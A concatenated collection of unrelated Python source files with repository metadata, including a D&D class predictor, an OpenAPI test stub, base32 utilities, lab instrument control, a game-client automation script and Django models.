#Get List of single class strings, not including any multiclasses
classes_list = targets.drop_duplicates()
single_class_list = [c for c in classes_list['justClass'] if '|' not in c]
single_class_list.sort()
#Replace all class strings with number
self.__classes_dict = {}
for idx in range(len(single_class_list)):
dnd_class = single_class_list[idx]
self.__classes_dict[dnd_class] = idx
numeric_targets = targets.replace(self.__classes_dict)
targets = numeric_targets
#Removing all multiclass strings, that was not removed above, and replace with single value
numeric_targets = targets.replace("^\w.*$", len(self.__classes_dict), regex=True)
self.__targets = numeric_targets
#Finalizing the dict, and adding an opposite dict for classes
self.__classes_dict['Multiclassing'] = len(self.__classes_dict)
self.__classes_numeric_dict = {y:x for x,y in self.__classes_dict.items()}
#Using another class method to make a fit a model for prediction, and check if the model has good test results
min_test_score = 0.4
test_score = 0
found_good_model = False
for num in (range(1,1001)):
model = self.fit_class_model()
if (model["test_score"] >= min_test_score):
found_good_model = True
self.__model = model["model"]
break
elif (model["test_score"] > test_score):
self.__model = model["model"]
test_score = model["test_score"]
if(not found_good_model):
print('WARNING: The model could not achive a good test score, and is only', test_score*100, 'accurate in test')
def fit_class_model(self):
"""
Method to get dict containing a model fit with data from the dataset, along with a score for the model
"""
#Setting up the model, and testing with classification
x_train,x_test,y_train,y_test = train_test_split(self.__features,self.__targets,test_size=0.3)
model = DecisionTreeClassifier()
model.fit(x_train, y_train)
#Display the score for the model from the dataset
test_score = model.score(x_test, y_test)
return {"model": model, "test_score": test_score}
#print('Train Score:', self.__model.score(x_train, y_train))
#print('Testing Score', self.__model.score(x_test, y_test))
def predict_class_from_ability_scores(self, ability_scores):
"""
Uses the class model to try and predict a good class choice for a given ability score, based on the dataset.
"""
numeric_result = self.__model.predict([ability_scores])[0]
result = self.__classes_numeric_dict[numeric_result]
return "The given ability scores would work well with a class choice of: " + result
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='This program allows you to input 6 ability scores for dungeons and dragons 5th edition, and get a suitable class for those ability scores as output')
parser.add_argument('-ab','--abilityScores', nargs='+', help='<Required> Give a list of the ability scores in the following order: Strength(Str) Dexterity(Dex) Constitution(Con) Intelligence(Int) Wisdom(Wis) Charisma(Cha)', required=True)
args = parser.parse_args()
input = args.abilityScores
if(len(input) == 6):
try:
ability_scores = []
for score in input:
ability_scores.append(int(score))
classPredictor = DNDClassPredictor()
result = classPredictor.predict_class_from_ability_scores(ability_scores)
msg = result
print(msg)
except ValueError:
print("One or more of the ability scores could not be read as a numbers")
else:
print("The given input needs exactly 6 arguments, seperated by space, representing, in order: Strength(Str) Dexterity(Dex) Constitution(Con) Intelligence(Int) Wisdom(Wis) Charisma(Cha)")
|
[
"Michael12.korsgaard@gmail.com"
] |
Michael12.korsgaard@gmail.com
|
f8f2a2c16488ab7b2db5c75b3e3384fe28779156
|
c5458f2d53d02cb2967434122183ed064e1929f9
|
/sdks/python/test/test_generate_commitments_request.py
|
8c5a96d5277ec4d96a679c0c58dcd09553377df4
|
[] |
no_license
|
ross-weir/ergo-node-api-sdks
|
fd7a32f79784dbd336ef6ddb9702b9dd9a964e75
|
9935ef703b14760854b24045c1307602b282c4fb
|
refs/heads/main
| 2023-08-24T05:12:30.761145
| 2021-11-08T10:28:10
| 2021-11-08T10:28:10
| 425,785,912
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,207
|
py
|
"""
Ergo Node API
API docs for Ergo Node. Models are shared between all Ergo products # noqa: E501
The version of the OpenAPI document: 4.0.15
Contact: ergoplatform@protonmail.com
Generated by: https://openapi-generator.tech
"""
import sys
import unittest
import openapi_client
from openapi_client.model.generate_commitments_request_secrets import GenerateCommitmentsRequestSecrets
from openapi_client.model.unsigned_ergo_transaction import UnsignedErgoTransaction
globals()['GenerateCommitmentsRequestSecrets'] = GenerateCommitmentsRequestSecrets
globals()['UnsignedErgoTransaction'] = UnsignedErgoTransaction
from openapi_client.model.generate_commitments_request import GenerateCommitmentsRequest
class TestGenerateCommitmentsRequest(unittest.TestCase):
"""GenerateCommitmentsRequest unit test stubs"""
def setUp(self):
pass
def tearDown(self):
pass
def testGenerateCommitmentsRequest(self):
"""Test GenerateCommitmentsRequest"""
# FIXME: construct object with mandatory attributes with example values
# model = GenerateCommitmentsRequest() # noqa: E501
pass
if __name__ == '__main__':
unittest.main()
|
[
"29697678+ross-weir@users.noreply.github.com"
] |
29697678+ross-weir@users.noreply.github.com
|
70a634ef5333fbd011fc21983abd792a11a5cfab
|
5955aa5e04a8b976097e92cccc392eaa6f5de0b5
|
/utils/base32_utils.py
|
ce210aab79d9420f6d7cca22fd8d077f62f52b9f
|
[] |
no_license
|
joy-noah-dev/page_backend
|
42afd084864e2c91f7dca7436682a9438a566c93
|
0d0b14fdc29cb98cfdfc2d9948347c819e197761
|
refs/heads/main
| 2023-05-01T11:36:34.168606
| 2021-05-20T02:26:04
| 2021-05-20T02:26:04
| 368,667,344
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,900
|
py
|
import re
from base64 import b32decode, b32encode
from io import BytesIO
from typing import List
def decode_base32(data: str, altchars='+/') -> bytes:
"""
Decode base32, python requires additional padding
"""
data = re.sub(rf'[^a-zA-Z0-9{altchars}]+', '', data) # normalize
missing_padding = len(data) % 8
if missing_padding:
data += '=' * (8 - missing_padding)
return b32decode(data, altchars)
def byte_to_int(single_byte: bytes) -> int:
"""
Gets a byte and returns an integer
:param single_byte: Single byte to convert to integer
:return: Integer representation of the bytes
"""
shift = 0
result = 0
if single_byte == b"" or single_byte == "":
raise EOFError("Unexpected EOF while reading varint")
i = ord(single_byte)
result |= (i & 0x7f) << shift
return result
def int_list(data: bytes) -> list:
"""
Get a set bytes and return a list of integers representing the bytes
:param data: Bytes
:return: List of integers
"""
byte_data = BytesIO(data)
byte_list = []
single_byte = byte_data.read(1)
while single_byte != b"" and single_byte != "":
single_int = byte_to_int(single_byte)
byte_list.append(single_int)
single_byte = byte_data.read(1)
return byte_list
def encode_base32_from_list(list_of_int: List[int]) -> str:
"""
Returns a base 32 string from a list of integers
:param list_of_int: List of integers
:return: Base32 string
"""
data = BytesIO()
for i in list_of_int:
buf = b""
while True:
towrite = i & 0x7f
i >>= 7
if i:
buf += bytes((towrite | 0x80,))
else:
buf += bytes((towrite,))
break
data.write(buf)
data.seek(0)
return b32encode(data.read()).decode().replace('=', '')
|
[
"ingesql1992@hotmail.com"
] |
ingesql1992@hotmail.com
|
57c861cd16af96f077cd25db431a46f4feb6d0b2
|
c30d4f174a28aac495463f44b496811ee0c21265
|
/python/helpers/python-skeletons/multiprocessing/__init__.py
|
de9d1ddfa3ca0c043f71519ec442d5c291506ae8
|
[
"Apache-2.0"
] |
permissive
|
sarvex/intellij-community
|
cbbf08642231783c5b46ef2d55a29441341a03b3
|
8b8c21f445550bd72662e159ae715e9d944ba140
|
refs/heads/master
| 2023-05-14T14:32:51.014859
| 2023-05-01T06:59:21
| 2023-05-01T06:59:21
| 32,571,446
| 0
| 0
|
Apache-2.0
| 2023-05-01T06:59:22
| 2015-03-20T08:16:17
|
Java
|
UTF-8
|
Python
| false
| false
| 4,217
|
py
|
"""Skeleton for 'multiprocessing' stdlib module."""
from multiprocessing.pool import Pool
class Process(object):
def __init__(self, group=None, target=None, name=None, args=(), kwargs={}):
self.name = ''
self.daemon = False
self.authkey = None
self.exitcode = None
self.ident = 0
self.pid = 0
self.sentinel = None
def run(self):
pass
def start(self):
pass
def terminate(self):
pass
def join(self, timeout=None):
pass
def is_alive(self):
return False
class ProcessError(Exception):
pass
class BufferTooShort(ProcessError):
pass
class AuthenticationError(ProcessError):
pass
class TimeoutError(ProcessError):
pass
class Connection(object):
def send(self, obj):
pass
def recv(self):
pass
def fileno(self):
return 0
def close(self):
pass
def poll(self, timeout=None):
pass
def send_bytes(self, buffer, offset=-1, size=-1):
pass
def recv_bytes(self, maxlength=-1):
pass
def recv_bytes_into(self, buffer, offset=-1):
pass
def __enter__(self):
pass
def __exit__(self, exc_type, exc_val, exc_tb):
pass
def Pipe(duplex=True):
return Connection(), Connection()
class Queue(object):
def __init__(self, maxsize=-1):
self._maxsize = maxsize
def qsize(self):
return 0
def empty(self):
return False
def full(self):
return False
def put(self, obj, block=True, timeout=None):
pass
def put_nowait(self, obj):
pass
def get(self, block=True, timeout=None):
pass
def get_nowait(self):
pass
def close(self):
pass
def join_thread(self):
pass
def cancel_join_thread(self):
pass
class SimpleQueue(object):
def empty(self):
return False
def get(self):
pass
def put(self, item):
pass
class JoinableQueue(multiprocessing.Queue):
def task_done(self):
pass
def join(self):
pass
def active_childern():
"""
:rtype: list[multiprocessing.Process]
"""
return []
def cpu_count():
return 0
def current_process():
"""
:rtype: multiprocessing.Process
"""
return Process()
def freeze_support():
pass
def get_all_start_methods():
return []
def get_context(method=None):
pass
def get_start_method(allow_none=False):
pass
def set_executable(path):
pass
def set_start_method(method):
pass
class Barrier(object):
def __init__(self, parties, action=None, timeout=None):
self.parties = parties
self.n_waiting = 0
self.broken = False
def wait(self, timeout=None):
pass
def reset(self):
pass
def abort(self):
pass
class Semaphore(object):
def __init__(self, value=1):
pass
def acquire(self, blocking=True, timeout=None):
pass
def release(self):
pass
class BoundedSemaphore(multiprocessing.Semaphore):
pass
class Condition(object):
def __init__(self, lock=None):
pass
def acquire(self, *args):
pass
def release(self):
pass
def wait(self, timeout=None):
pass
def wait_for(self, predicate, timeout=None):
pass
def notify(self, n=1):
pass
def notify_all(self):
pass
class Event(object):
def is_set(self):
return False
def set(self):
pass
def clear(self):
pass
def wait(self, timeout=None):
pass
class Lock(object):
def acquire(self, blocking=True, timeout=-1):
pass
def release(self):
pass
class RLock(object):
def acquire(self, blocking=True, timeout=-1):
pass
def release(self):
pass
def __enter__(self):
pass
def __exit__(self, exc_type, exc_val, exc_tb):
pass
def Value(typecode_or_type, *args, **kwargs):
pass
def Array(typecode_or_type, size_or_initializer, lock=True):
pass
def Manager():
return multiprocessing.SyncManager()
|
[
"andrey.vlasovskikh@jetbrains.com"
] |
andrey.vlasovskikh@jetbrains.com
|
5457ca422d13650a936b6813af9e0f7264ec44b1
|
055ce5ca01b45127efee13b9a8fcfaa7fe4813e5
|
/oo/attributemethod/property.py
|
14f3e5d09ab40eb1ccd007adf34017141d7ae65f
|
[] |
no_license
|
PeihongKe/pythonRecipes
|
0afe96a05518e5445a3267be0c517bfc424b386f
|
d5d65628e3ffc6c9cdf8641932fa6bff407a92d0
|
refs/heads/master
| 2021-01-01T04:25:00.590994
| 2018-07-20T22:28:03
| 2018-07-20T22:28:03
| 97,172,806
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,344
|
py
|
import math
import util
# with property, it is safe to use public data attribute, as you can always add an abstraction on top of it whenever necesary
class Rectangle(object):
""" """
def __init__(self, width, height):
self.width = width
self.height = height
def get_area(self):
""" as it says """
return self.width * self.height
read_only_area = property(fget=get_area, doc='area of the rectangle ')
not_allowed_area = property(fget=None, fset=None, fdel=None, doc=None)
@property # the x property. the decorator creates a read-only property
def read_only_area_decorator(self):
""" readonly using decorator """
return self.width * self.height
@property
def read_write_area_decorator(self):
return self.width * self.height
@read_write_area_decorator.setter
def read_write_area_decorator(self, value):
scale = math.sqrt(value / self.read_write_area_decorator)
self.width *= scale
self.height *= scale
class TestProperty(util.TestCaseBase):
""" property(fget=None, fset=None, fdel=None, doc=None) """
def test_read_only_property(self):
""" read only """
r = Rectangle(2, 4)
self.assertEqual(r.read_only_area, 8)
def test_not_allowed_area(self):
""" disallowed property"""
r = Rectangle(2, 4)
with self.assertRaises(AttributeError) as err:
r.not_allowed_area
msg = str(err.exception)
self.assertEqual(msg, 'unreadable attribute')
def test_read_only_area_decorator(self):
""" read only using property """
r = Rectangle(2, 4)
self.assertEqual(r.read_only_area_decorator, 8)
def test_read_write_area_decorator(self):
""" read write using property """
r = Rectangle(2, 4)
self.assertEqual(r.read_only_area_decorator, 8)
r.read_write_area_decorator = 32
self.assertEqual(r.width, 4.0)
self.assertEqual(r.height, 8.0)
def test_property_inheritance(self):
""" """
class Base(object):
def f(self):
return 'base::f'
g = property(f)
class Derive(Base):
def f(self):
return 'drive::f'
d = Derive()
self.assertEqual(d.g, 'base::f')
|
[
"pkukph@hotmail.com"
] |
pkukph@hotmail.com
|
b9285e56da882aaf22b415ed18ff86510bae43ee
|
3d4b7cc6b3117b40a4f388fa4e704abaa6001ce8
|
/readframe.py
|
386bc54cc4eefcaed3b077b2609b6d9a5e056a35
|
[] |
no_license
|
ald2004/pedestrian_track
|
3e5de1c68d811016413fefa09e2c0634bb2ca82e
|
f2d550e99a9c14a7485b9ccd2a4a2986993dc10a
|
refs/heads/master
| 2023-02-11T01:09:23.674210
| 2020-12-30T12:40:02
| 2020-12-30T12:40:02
| 318,141,401
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 565
|
py
|
import cv2
import time
cap = cv2.VideoCapture(0)
if not (cap.isOpened()):
print("Could not open video device")
cap.set(cv2.CAP_PROP_FRAME_WIDTH, 640)
cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 480)
while 1:
ret, frame = cap.read()
success, buffer = cv2.imencode(".jpg", frame)
buffer.tofile('video_feed1')
# with open('video_feed1', 'wb') as fid:
# cv2.imwrite(fid, frame)
# cv2.imshow('preview',frame)
# if cv2.waitKey(1) & 0xFF == ord('q'):
# break
time.sleep(.5)
cap.release()
cv2.destroyAllWindows()
|
[
"yuanpu@139.com"
] |
yuanpu@139.com
|
3169bd2cc3aa5831d52caff6abf1dd7a2a62c3f7
|
40442e8c450bb1cda86bc7c5792f66a8f9fe9863
|
/ProjectSurveillance/migrations/0009_detailtype_drive.py
|
8f523a26866091728db2a19a1eb7e507980f34a0
|
[
"MIT"
] |
permissive
|
psymen145/OVS-django-fe
|
f74620a40ef4245033e0b13370ba90e3509e2191
|
1823e8b42c17276d6b50a63dddd9b04a21c2038c
|
refs/heads/master
| 2021-09-02T01:10:51.008215
| 2017-12-29T15:06:26
| 2017-12-29T15:06:26
| 115,728,436
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 504
|
py
|
# -*- coding: utf-8 -*-
# Generated by Django 1.11.4 on 2017-11-21 16:46
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('ProjectSurveillance', '0008_projectactivity_rowcreation'),
]
operations = [
migrations.AddField(
model_name='detailtype',
name='drive',
field=models.NullBooleanField(db_column='Drive'),
),
]
|
[
"noreply@github.com"
] |
psymen145.noreply@github.com
|
093e8e15f82513ecd3e94e0d7205c22368aed6b9
|
198b3dc76290ab6b76713db849495ec4102e8ece
|
/Step-3/step3.py
|
f303d64cb0d7e72f8d1480df33d6446107595e36
|
[] |
no_license
|
PabloRdrRbl/my-12-steps-navier-stokes
|
efa40426b2fbc86fd4f34ee50ccddd18dece3942
|
f38135bb5fa1955d12008abd2076df2cbc567301
|
refs/heads/master
| 2021-01-20T20:15:18.994548
| 2016-07-11T23:15:56
| 2016-07-11T23:15:56
| 62,781,940
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,138
|
py
|
import numpy as np
import matplotlib.pyplot as plt
def linearconv(nx):
dx = 2 / (nx - 1) # Spatial domain has 2 units length
nt = 25 # Number of time steps
sigma = 0.2
nu = 0.3 # Viscosity
# Courant number, CFL condition
# CFL < 1
dt = sigma * dx**2 / nu
# Initial conditions
u = np.ones(nx)
u[0.5 / dx: 1 / dx + 1] = 2 # u = 2 between 0.5 and 1
# Printing u
plt.plot(np.linspace(0, 2, nx), u)
un = np.ones(nx) # Initialize a temporary array
# Solution
for n in range(nt):
un = u.copy()
for i in range(1, nx - 1):
u[i] = (un[i] + nu * dt / dx**2 *
(un[i + 1] - 2 * un[i] + un[i - 1]))
# Printing the new u
plt.plot(np.linspace(0, 2, nx), u)
plt.title('Using $nx = %d$ and $\sigma = %1.1f$' % (nx, sigma))
plt.savefig('image_output/u_profile_sigma_%d_nx_%d.png' % (sigma * 10, nx))
# plt.show()
# Cleaning the figure
# [http://stackoverflow.com/questions/8213522/matplotlib-
# clearing-a-plot-when-to-use-cla-clf-or-close]
plt.clf()
if __name__ == '__main__':
linearconv(41)
|
[
"prodrr05@estudiantes.unileon.es"
] |
prodrr05@estudiantes.unileon.es
|
4e3e8013222191f5557eeefbb7ca5e65131aeece
|
aebc347ff9a8ad739111f13aa8d4cf9d48a1e4bd
|
/data/170818/170818_074301_spectral_scan/0019_electron_loading_trap_studies_E5071C.py
|
b1d29626c5ebe7e0216866f17a237346e2a494bb
|
[] |
no_license
|
geyang/170422_EonHe_M018V6
|
f01a60d3b8a911ba815a0fcc0bf1b6e2aa8f5f17
|
ce189e22f99942e46fce84a0dca714888e44bc69
|
refs/heads/master
| 2021-06-22T21:01:23.257239
| 2017-08-25T09:48:17
| 2017-08-25T09:48:17
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 10,239
|
py
|
from data_cache import dataCacheProxy
from time import sleep, time, strftime
from setup_instruments import fridge, seekat, yoko1, nwa, filament
from resonance_fitting import fit_res_gerwin
import numpy as np
import matplotlib.pyplot as plt
from tqdm import tqdm
import os
from shutil import copyfile
import quicktimetrace_4D as fastsweep
this_script = r"0019_electron_loading_trap_studies_E5071C.py"
expt = 'spectral_scan'
#res = seekat
t0 = time()
if __name__ == "__main__":
today = strftime("%y%m%d")
now = strftime("%H%M%S")
expt_path = os.path.join(r'S:\_Data\170422 - EonHe M018V6 with L3 etch\data', today, "%s_electron_loading_2D_resg_trap" % now)
print "Saving data in %s" % expt_path
if not os.path.isdir(expt_path):
os.makedirs(expt_path)
sleep(1)
copyfile(os.path.join(r"S:\_Data\170422 - EonHe M018V6 with L3 etch\experiment", this_script),
os.path.join(expt_path, this_script))
dataCache = dataCacheProxy(file_path=os.path.join(expt_path, os.path.split(expt_path)[1] + ".h5"))
prefix = "electron_loading"
fridgeParams = {'wait_for_temp': 0.080,
'min_temp_wait_time': 60}
filamentParams = {"amplitude": 4.2,
"offset": -0.5,
"frequency": 113e3,
"duration": 40e-3}
pulseParams = {"delay": .00,
"pulses": 200}
def set_voltages(res, trap, res_guard, trap_guard, pinch=None, verbose=True):
if res is not None:
seekat.set_voltage(1, res, verbose=verbose)
if trap is not None:
seekat.set_voltage(2, trap, verbose=verbose)
if res_guard is not None:
seekat.set_voltage(3, res_guard, verbose=verbose)
if trap_guard is not None:
seekat.set_voltage(4, trap_guard, verbose=verbose)
if pinch is not None:
seekat.set_voltage(5, pinch, verbose=verbose)
dataCache.post("voltage_log", np.array([time(),
seekat.get_voltage(1), seekat.get_voltage(2),
seekat.get_voltage(3), seekat.get_voltage(4),
seekat.get_voltage(5)]))
def get_voltages():
return seekat.get_voltage(1), seekat.get_voltage(2), seekat.get_voltage(3), \
seekat.get_voltage(4), seekat.get_voltage(5)
filament.setup_driver(**filamentParams)
filament.set_timeout(10000)
print filament.get_id()
def unload():
print "********************"
print "UNLOADING ELECTRONS!"
print "********************"
for k in range(5):
print "\tStep %d"%(k+1)
for volts in [-1, -2, -3, -4, -3, -2, -1]:
set_voltages(volts, volts, volts, volts, verbose=False)
sleep(0.5)
def unload_trap(start=-3.0, stop=-5.0):
print "********************"
print "UNLOADING TRAP ONLY!"
print "********************"
res_init, trap_init, res_guard_init, trap_guard_init, pinch = get_voltages()
vs = list(np.arange(start, stop, -1)) +\
list(np.arange(stop, start, +1))
for k in range(5):
print "\tStep %d"%(k+1)
for volts in vs:
set_voltages(res_init, volts, res_guard_init, trap_guard_init, verbose=False)
sleep(0.5)
set_voltages(res_init, trap_init, res_guard_init, trap_guard_init)
def take_trace_and_save(averages, do_fit=False):
temperature = fridge.get_mc_temperature()
dataCache.post('temperature', temperature)
Vres, Vtrap, Vrg, Vtg, Vpinch = get_voltages()
dataCache.post('Vres', Vres)
dataCache.post('Vtrap', Vtrap)
dataCache.post('Vpinch', Vpinch)
dataCache.post('Vrg', Vrg)
dataCache.post('Vtg', Vtg)
if averages > 1:
fpts, mags, phases = nwa.take_one_averaged_trace()
else:
fpts, mags, phases = nwa.take_one()
if do_fit:
fitspan = 2E6;
center_freq = fpts[np.argmax(mags)]
try:
fitres = dsfit.fitlor(fpts, dataanalysis.dBm_to_W(mags),
domain=[center_freq - fitspan / 2., center_freq + fitspan / 2.])
dataCache.post('f0', fitres[2])
except:
print "FIT FAILED!"
if np.max(mags) < -55:
print "WARNING: PEAK OUT OF RANGE!"
#else:
#nwa.set_center_frequency(fitres[2])
dataCache.post('fpts', fpts)
dataCache.post('mags', mags)
dataCache.post('phases', phases)
dataCache.post('time', time() - t0)
return temperature
def unload_with_filament():
# First loading to get rid of most electrons!
if load_electrons:
set_voltages(-3.0, -3.0, 0.0, 0.0)
sleep(2.0)
temperature = fridge.get_mc_temperature()
print "Waiting for consistent electron loading temperature of < 550 mK...."
while temperature > 0.550:
temperature = fridge.get_mc_temperature()
sleep(2)
print '.',
filament.fire_filament(100, 0.01)
print "Fired filament!"
sleep(60.0)
def load_resonator_not_trap():
print "\n"
print "********************"
print "LOADING ELECTRONS..."
print "********************"
set_voltages(2.0, -3.0, 0.0, 0.0)
sleep(2.0)
temperature = fridge.get_mc_temperature()
print "Waiting for consistent electron loading temperature of < 550 mK...."
while temperature > 0.550:
temperature = fridge.get_mc_temperature()
sleep(2)
print '.',
filament.fire_filament(100, 0.01)
print "Fired filament!"
sleep(60.0)
not_settled = True
stable_temp = 0.550
# print "Waiting for temperature to stabilize to %.0f mK..." % (stable_temp * 1E3)
while not_settled:
temperature = fridge.get_mc_temperature()
if temperature <= stable_temp:
not_settled = False
nwa.set_measure('S21')
set_voltages(0.00, 0.00, 0.00, 0.00, pinch=0.00)
unload()
load_electrons = True
power = -40
averages = 25
sweep_points = 801
nwa.set_trigger_source('BUS')
nwa.set_format('SLOG')
nwa_config = {'start' : 6.385E9,
'stop': 6.407E9,
'sweep_points': sweep_points,
'power': power,
'averages': averages,
'ifbw': nwa.get_ifbw()}
nwa.configure(**nwa_config)
nwa.set_electrical_delay(68E-9)
nwa.set_phase_offset(180.0)
dataCache.set_dict('nwa_config', nwa_config)
nwa.auto_scale()
Vresguards = list(np.arange(0.00, 0.15+0.025, +0.025))
Vtraps = list(np.arange(0.00, 0.25, 0.005)) \
+ list(np.arange(0.25, 0.00, -0.005))
Vress = 0.6 * np.ones(len(Vtraps))
fig = plt.figure(figsize=(8.,12.))
plt.subplot(311)
plt.plot(Vress, 'o', color="#23aaff", markeredgecolor="none", label="Resonator")
plt.plot(Vtraps, 'o', color="#f4b642", markeredgecolor="none", label='Trap')
plt.ylabel("Resonator voltage (V)")
plt.xlim(0, np.max([len(Vress), len(Vtraps)]))
plt.legend(loc=0, prop={'size' : 8})
if averages > 1:
fpts, mags, phases = nwa.take_one_averaged_trace()
else:
fpts, mags, phases = nwa.take_one()
plt.subplot(312)
current_vres, current_vtrap, current_vrg, current_vtg, pinch = get_voltages()
plt.text(np.min(fpts) + 0.10*(np.max(fpts)-np.min(fpts)),
np.min(mags) + 0.85*(np.max(mags) - np.min(mags)),
"res, trap, rg, tg = (%.2fV, %.2fV, %.2fV, %.2fV)" % (current_vres, current_vtrap, current_vrg, current_vtg))
plt.plot(fpts, mags)
plt.xlabel('Frequency (Hz)')
plt.ylabel('Magnitude (dB)')
plt.xlim(np.min(fpts), np.max(fpts))
plt.subplot(313)
plt.plot(fpts, phases)
plt.xlabel('Frequency (Hz)')
plt.ylabel('Phase (deg)')
plt.xlim(np.min(fpts), np.max(fpts))
fig.savefig(os.path.join(expt_path, "pre_electron_loading.png"), dpi=200)
plt.show()
nwa.set_format('MLOG')
nwa.auto_scale()
nwa.set_trigger_source('INT')
#unload_with_filament()
nwa.set_trigger_source('BUS')
nwa.set_format('SLOG')
nwa.set_average_state(True)
if load_electrons:
abs_deltaf = 1e9
Q = 0
# Set both the Q and deltaf threshold to something low if you want it to continue after the first load
while not (Q > 9000 and abs_deltaf > 6.5E6):
unload_with_filament()
load_resonator_not_trap()
set_voltages(0.6, -2.0, None, None)
sleep(1.0)
#set_voltages(Vress[0], Vtraps[0], None)
if averages > 1:
fpts, mags, phases = nwa.take_one_averaged_trace()
else:
fpts, mags, phases = nwa.take_one()
f0, Q = fit_res_gerwin(fpts, mags, span=3E6)
abs_deltaf = np.abs(f0-6.40511e9)
print "Fit result after loading: delta f = %.2f MHz and Q = %.0f" % (abs_deltaf/1E6, Q)
sleep(120)
nwa.set_center_frequency(f0+0.15E6)
nwa.set_span(3E6)
print "Set center frequency to %.6f GHz (shift = %.2f MHz)"%(f0/1E9, (f0-6.40511e9)/1E6)
dataCache.post('data_shape', [len(Vresguards), len(Vtraps)])
set_voltages(None, None, 0.00, 0.00)
print "Starting sweep..."
set_voltages(Vress[0], Vtraps[0], Vresguards[0], None, -1.00)
for Vrg in Vresguards:
set_voltages(None, None, Vrg, None)
for Vtrap in tqdm(Vtraps):
set_voltages(None, Vtrap, None, None)
take_trace_and_save(averages, do_fit=True)
# for Vrg in Vresguards:
# set_voltages(None, None, Vrg, None)
# for Vtrap in tqdm(Vtraps):
# set_voltages(None, Vtrap, None, None)
# take_trace_and_save(averages, do_fit=True)
nwa.set_format('MLOG')
nwa.auto_scale()
nwa.set_trigger_source('INT')
|
[
"yangge1987@gmail.com"
] |
yangge1987@gmail.com
|
401300d2f39d7307cb7f691dce9ee2bd2a9ffa97
|
1c5321bf1d26e9c63add1c951ca283571188dfb2
|
/lol.py
|
a6dd3084aa5d338299317ab75b1ab7241c48ff84
|
[] |
no_license
|
CryNando/BOTCreateCustomMatchLOL
|
e5c015dc40b7e784c5daff09baea711f7b904e64
|
2310a40c949b74955f0c956f5c589549caaec731
|
refs/heads/master
| 2020-03-20T19:03:11.610256
| 2018-06-17T00:28:44
| 2018-06-17T00:28:44
| 137,618,724
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,225
|
py
|
# encoding: utf-8
import os
import time
import pyautogui
os.startfile(r"C:\Riot Games\League of Legends\LeagueClient.exe")
print ("Aguardando tela de Login")
time.sleep(20)
print("Colocando Usuário")
pyautogui.click(1033,229, duration=1.00) #posição Username
pyautogui.typewrite('seuusuario', 0.25)
time.sleep(1)
print("Colocando Senha")
pyautogui.click(1033,271, duration=1.00) #posicao password
pyautogui.typewrite('suasenha', 0.25)
time.sleep(1)
print ("Clicando em Iniciar Sessão")
pyautogui.click(1102,521, duration=1.00) #posicao password
print("Aguardando Jogo Abrir")
time.sleep(60)
print ("Clicando em Jogar ")
pyautogui.click(269,109, duration=1.00)
time.sleep(1)
print "Selecionando Modo Personalizado"
pyautogui.click(555,159, duration=1.00)
print "Selecionando Modo Alternando"
pyautogui.click(771,440, duration=1.00)
print "Confirmando Partida"
pyautogui.click(594,621, duration=1.00)
time.sleep(5)
print "Adicionando Bot 1"
pyautogui.click(920,264, duration=1.00)
time.sleep(1)
print "Adicionando Bot 2"
pyautogui.click(909,305, duration=1.00)
time.sleep(1)
print "Adicionando Bot 3"
pyautogui.click(915,351, duration=1.00)
time.sleep(1)
print "Adicionando Bot 4"
pyautogui.click(925,382, duration=1.00)
print "Adicionando Bot 5"
pyautogui.click(916,418, duration=1.00)
time.sleep(1)
print("Clicando em Inicar")
pyautogui.click(620,628, duration=1.00)
time.sleep(10)
print ("Banindo primeiro Campeão")
pyautogui.click(828,158, duration=1.00)
pyautogui.typewrite('LeBlanc', 0.25)
time.sleep(1)
pyautogui.click(484,196, duration=1.00)
pyautogui.click(686,565, duration=1.00)
time.sleep(2)
print ("Banindo segundo Campeão")
pyautogui.click(828,158, duration=1.00)
pyautogui.typewrite('Ahri', 0.25)
pyautogui.click(484,196, duration=1.00)
pyautogui.click(686,565, duration=1.00)
time.sleep(2)
print ("Banindo terceiro Campeão")
pyautogui.click(828,158, duration=1.00)
pyautogui.typewrite('Nocturne', 0.25)
pyautogui.click(484,196, duration=1.00)
pyautogui.click(686,565, duration=1.00)
time.sleep(2)
print ("Selecionando seu Campeão")
pyautogui.click(828,158, duration=1.00)
pyautogui.typewrite('Rengar', 0.25)
pyautogui.click(484,196, duration=1.00)
time.sleep(1)
pyautogui.click(686,565, duration=1.00)
|
[
"crynando@outlook.com"
] |
crynando@outlook.com
|
d45a656414a1df2c05be824ff7ff20650f0968ee
|
b624f0d085642618a3935e0888e9a53a17c8361c
|
/tms/tmsapp/models.py
|
04c35de188f04f1a65eac39a20a297115eb97a98
|
[] |
no_license
|
Alton1998/TMS-APP
|
1df685671127980e72ffa6ab2ab95a848a4c358c
|
828dac35b55028bc77da5818ed501b03272932ab
|
refs/heads/master
| 2020-03-23T02:00:41.965194
| 2018-07-16T15:30:04
| 2018-07-16T15:30:04
| 140,950,992
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 824
|
py
|
from django.db import models
# Creating models
class trafficAtA(models.Model):
Trafficdensity=models.FloatField()
time=models.TimeField(auto_now_add=True)
def __str__(self):
return self.Trafficdensity,self.time
class trafficAtB(models.Model):
Trafficdensity = models.FloatField()
time = models.TimeField(auto_now_add=True)
def __str__(self):
return self.Trafficdensity,self.time
class trafficAtC(models.Model):
Trafficdensity = models.FloatField()
time = models.TimeField(auto_now_add=True)
def __str__(self):
return self.Trafficdensity,self.time
class trafficAtD(models.Model):
Trafficdensity = models.FloatField()
time = models.TimeField(auto_now_add=True,)
def __str__(self):
return self.Trafficdensity,self.time
|
[
"noreply@github.com"
] |
Alton1998.noreply@github.com
|
7cae39a80777cd2319715cb741204ebda891e051
|
3d1297a6c2c16f51dc43130d85daf1e32edefa14
|
/main/views.py
|
bfdba79954465c8d279a8324fb176db88b271c34
|
[] |
no_license
|
Nissel21/linioexp
|
bf6cef97ba75b37db5ebe7dee7f64e3ce6ba747d
|
